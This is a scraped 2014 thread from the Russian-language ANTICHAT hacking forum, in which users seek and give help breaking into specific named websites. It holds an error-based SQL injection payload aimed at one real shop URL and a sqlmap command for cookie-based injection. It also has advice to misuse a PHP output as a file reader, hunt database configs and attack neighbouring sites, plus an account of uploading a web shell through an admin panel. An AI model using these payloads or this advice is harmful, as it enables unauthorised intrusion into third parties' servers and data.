ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
10.09.2014, 16:08
|
|
Guest
Сообщений: n/a
Провел на форуме:
179197
Репутация:
25
|
|
_http://www.moysvet.ru/catalog/view/118876' помогите раскрутить, всю голову сломал уже.
|
|
|
|
10.09.2014, 16:18
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Сообщение от Br@!ns
Br@!ns said:
_http://www.moysvet.ru/catalog/view/118876' помогите раскрутить, всю голову сломал уже.
http://www.moysvet.ru/catalog/view/118876'or(ExtractValue(1,concat(0x3a,(select(versi on())))))='1
|
|
|
10.09.2014, 16:57
|
|
Участник форума
Регистрация: 20.05.2008
Сообщений: 144
Провел на форуме:
1436858
Репутация:
171
|
|
Помогите раскрутить скулю
Сообщение от None
http://www.stu.lipetsk.ru/announcements/7595'/
|
|
|
|
10.09.2014, 17:20
|
|
Новичок
Регистрация: 10.09.2006
Сообщений: 6
Провел на форуме:
31237
Репутация:
0
|
|
Есть участок кода на чужом сайте:
Содержимое http://site.ru я могу редактировать, то есть в переменной $data подконтрольный текст и он выводится на стороннем сайте.
Какая тут уязвимость, возможно ли выполнение произвольного кода или создание php файла на сервере или тут только XSS?
. |
|
|
|
10.09.2014, 17:23
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от Inkognito2008
Inkognito2008 said:
Есть участок кода на чужом сайте:
Содержимое http://site.ru я могу редактировать, то есть в переменной $data подконтрольный текст и он выводится на стороннем сайте.
Какая тут уязвимость, возможно ли выполнение произвольного кода или создание php файла на сервере или тут только XSS? Можешь попробовать заюзать как локальную читалку! eval реализовать не получится, так как вывод через echo $data;
Ищи конфиги БД и пробуй подключиться!
|
|
|
|
10.09.2014, 17:26
|
|
Новичок
Регистрация: 10.09.2006
Сообщений: 6
Провел на форуме:
31237
Репутация:
0
|
|
Сообщение от winstrool
winstrool said:
Ищи конфиги БД и пробуй подключиться!
Сайт без БД, то есть код выполнить никак нельзя?
Если говорить точнее то вывод идет через:
Код:
Code:
$GLOBALS['_RESULT']=array( "otvet" => "тут строка моя" ); exit;
Вывод подхватывается JS и выводится на сайте.
|
|
|
|
10.09.2014, 17:48
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от Inkognito2008
Inkognito2008 said:
Сайт без БД, то есть код выполнить никак нельзя?
Если говорить точнее то вывод идет через:
Код:
Code:
$GLOBALS['_RESULT']=array( "otvet" => "тут строка моя" ); exit;
Вывод подхватывается JS и выводится на сайте. тогда ищи уязвимости в функциях и пробуй их реализовать, можно еще попробовать сайты соседей посмотреть...
|
|
|
|
10.09.2014, 19:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
24060
Репутация:
0
|
|
Помогите составить запрос в sqlmap на sql inj cookie
sqlmap.py -u "http://site:.com/index.php" --cookie="cacheSession=*" --random-agent --level=2 --risk=1
верно? Он то показывает блинд , то нет
|
|
|
|
10.09.2014, 21:34
|
|
Guest
Сообщений: n/a
Провел на форуме:
768
Репутация:
0
|
|
Сообщение от winstrool
winstrool said:
во вкладке [SQL] вводишь данные для подключения к БД, там появляется консоль, в ней уже вводишь команды для создание БД, почитай справочник _ttp://www.mysql.ru/docs/man/Database_use.html полезно будет!
допустим через админку я залил шелл, ввел данные для подключения к БД данного сайта, зашел, появилась консоль в ней я могу создать новую базу данных(чистую) не затрагивая уже существующую и создать на серваке еще один сайт?
|
|
|
|
11.09.2014, 18:30
|
|
Guest
Сообщений: n/a
Провел на форуме:
179197
Репутация:
25
|
|
Помогите раскрутить
Код HTML:
HTML:
http://www.svetodom.ru/brand/jhkhjkhjk
http://www.svetodom.ru/brand/jhkhjkhjk+AND
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
